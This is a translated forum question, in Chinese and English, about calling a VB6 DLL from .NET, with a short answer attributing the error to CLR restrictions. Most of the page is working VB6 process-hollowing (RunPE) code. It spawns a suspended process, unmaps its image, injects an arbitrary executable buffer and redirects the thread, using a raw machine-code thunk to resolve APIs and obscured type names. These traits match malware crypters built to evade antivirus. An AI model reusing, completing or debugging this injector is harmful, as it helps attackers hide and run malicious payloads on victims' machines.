使用.NET中VB6.dll [英] Using a VB6.dll in .Net

问题描述

我使用可以注入应用到正在运行的进程VB6的代码。这是NET的反射相当于，其实。我是有呼吁所有这一切都是一个.dll内的.Net通过执行以下操作我VB6功能的成功：

The vb6 code I am using can "inject" an application into a running process. It is the equivalent of .Net's Reflection, actually. I was having success in calling all of my vb6 functions that were within a .dll from .Net by doing the following:

1. 在创建DLL VB6


2. 注册DLL在Windows


3. 添加注册DLL作为参考净WinForm应用程序


4. 创建一个该.dll的实例，并调用内嵌功能（S）

1. Create DLL in VB6
2. Register DLL in Windows
3. Add registered dll as reference to .Net winform application
4. Create an instance of the .dll and call the embedded function(s).

不过，我已经没有运气调用下面的代码 - 在。同样的错误继续出现

However, I have had no luck calling the below code - the same error keeps appearing.

下面是一个图片与此附和：

Here is a picture to go along with this:

错误读取：

尝试读取或写入受保护的内存。这通常是
指示其他内存已损坏

Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

VB6电话：

Project1.Class1 vb6Test = new Project1.Class1();

vb6Test.InjPE(Application.ExecutablePath, File.ReadAllBytes(Application.ExecutablePath));

注意：
此代码工作完全正常，当我使用VB6的项目本身是在上述电话（如果不是从外部来源称它）。

NOTE: This code works perfectly fine when I use the above call within the vb6 project itself (when not calling it from an outside source).

导致错误的代码

 Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Sz As Long, Dest As Any, Source As Any)
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Type SUI
    cb As Long
End Type

Private Type P_I
    hP As Long: hT As Long
End Type

Private Type F_S_A
    CW As Long: SW As Long: TW As Long: EO As Long: ES As Long: DO As Long: DS As Long: RA(1 To 80) As Byte: CNS As Long
End Type

Private Type CX
    CF As Long: D0 As Long: D1 As Long: D2 As Long: D3 As Long: D6 As Long: D7 As Long: FS As F_S_A: SGs As Long: SFs As Long: SEs As Long: SDs As Long: Edi As Long: Esi As Long: Ebx As Long: Edx As Long: Ecx As Long: Eax As Long: Ebp As Long: Eip As Long: SCs As Long: EFlags As Long: Esp As Long: SSs As Long
End Type

Private Type I_D_H
    e_ma As Integer: e_cb As Integer: e_cp As Integer: e_cr As Integer: e_cpa As Integer: e_min As Integer: e_max As Integer: e_ss As Integer: e_sp As Integer: e_cs As Integer: e_ip As Integer: e_csa As Integer: e_lf As Integer: e_ov As Integer: e_re(0 To 3) As Integer: e_oe As Integer: e_oe2 As Integer: e_re2(0 To 9) As Integer: e_lfn As Long
End Type

Private Type I_F_H
    MCH As Integer: NOS As Integer: TDS As Long: PTST As Long: NOS2 As Long: SOOH As Integer: chst As Integer
End Type

Private Type I_D_D
    VA As Long: Sz As Long
End Type

Private Type I_O_H
    M As Integer: MLV As Byte: MLV2 As Byte: SOC As Long: SOFD As Long: SOUD As Long: AOEP As Long: BOC As Long: BOD As Long: IB As Long: SA As Long: FA As Long: MOSV As Integer: MOSV2 As Integer: MIV As Integer: MIV2 As Integer: MSV As Integer: MSV2 As Integer: W32VV As Long: SOI As Long: SOH As Long: CS As Long: SS As Integer: D As Integer: SOSS As Long: SOSC As Long: SOHR As Long: SOHC As Long: LF As Long: NORAZ As Long: DD(0 To 15) As I_D_D
End Type

Private Type I_N_H
    s As Long: FH As I_F_H: OH As I_O_H
End Type

Private Type I_S_H
    SN As String * 8: VS As Long: VA As Long: SORD As Long: PTRD As Long: PTR As Long: PTL As Long: NOR As Integer: NOL As Integer: chst As Long
End Type

Private Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long
    Dim lP                As Long
    Dim bvA(&HEC00& - 1)  As Byte

    lP = VarPtr(bvA(0))

    CopyBytes &H4, ByVal lP, &H59595958:                   lP = lP + 4
    CopyBytes &H2, ByVal lP, &H5059:                       lP = lP + 2

    For i = UBound(Params) To 0 Step -1
        CopyBytes &H1, ByVal lP, &H68:                     lP = lP + 1
        CopyBytes &H4, ByVal lP, CLng(Params(i)):          lP = lP + 4
    Next

    CopyBytes &H1, ByVal lP, &HE8:                         lP = lP + 1
    CopyBytes &H4, ByVal lP, GetProcAddress(LoadLibraryA(strLib), strMod) - lP - 4:                  lP = lP + 4
    CopyBytes &H1, ByVal lP, &HC3:                         lP = lP + 1
    CallAPI = CallWindowProcA(VarPtr(bvA(0)), 0, 0, 0, 0)
End Function

Sub InjPE(szProcessName As String, lpBuffer() As Byte)
    Dim Pidh As I_D_H
    Dim Pinh As I_N_H
    Dim Pish As I_S_H
    Dim Si As SUI
    Dim Pi As P_I
    Dim CTX As CX

    Si.cb = Len(Si)
    CTX.CF = &H10007

    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfn)), Len(Pinh))
    Call CallAPI("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, &H4, 0, 0, VarPtr(Si), VarPtr(Pi))

    Call CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hP, Pinh.OH.IB)
    Call CallAPI("kernel32", "VirtualAllocEx", Pi.hP, Pinh.OH.IB, Pinh.OH.SOI, &H1000 Or &H2000, &H40)
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB, VarPtr(lpBuffer(0)), Pinh.OH.SOH, 0)

    For i = 0 To Pinh.FH.NOS - 1
        CopyBytes Len(Pish), Pish, lpBuffer(Pidh.e_lfn + Len(Pinh) + Len(Pish) * i)
        Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB + Pish.VA, VarPtr(lpBuffer(Pish.PTRD)), Pish.SORD, 0)
    Next

    Call CallAPI("ntdll", "NtGetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, CTX.Ebx + 8, VarPtr(Pinh.OH.IB), 4, 0)
    CTX.Eax = Pinh.OH.IB + Pinh.OH.AOEP
    Call CallAPI("ntdll", "NtSetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtResumeThread", Pi.hT, 0)
End Sub

有没有，我很想念，让我一步与被提出没有错误调用上面的代码？

Is there a step that I am missing that would allow me to call the above code with no error being raised?

感谢您，

埃文

推荐答案

所以我想，VB6的代码被调用确定。如果你想满足自己，其进入InjPE电话，抛出一个消息框在里面，或者干脆回什么也不做。我怀疑是CLR沙盒了你的线程，并拿走了，它会让你开始注入代码到其进程空间中的任何PRIVS。它可能是被失败的CallAPIs之一。

So I am thinking that the VB6 code is being called ok. If you want to satisfy yourself that its getting into InjPE call, throw a message box in there, or simply return without doing anything. I suspect that the CLR has sandboxed your thread and taken away any privs that would allow you to start injecting code into its process space. Its probably one of the CallAPIs that are failing.

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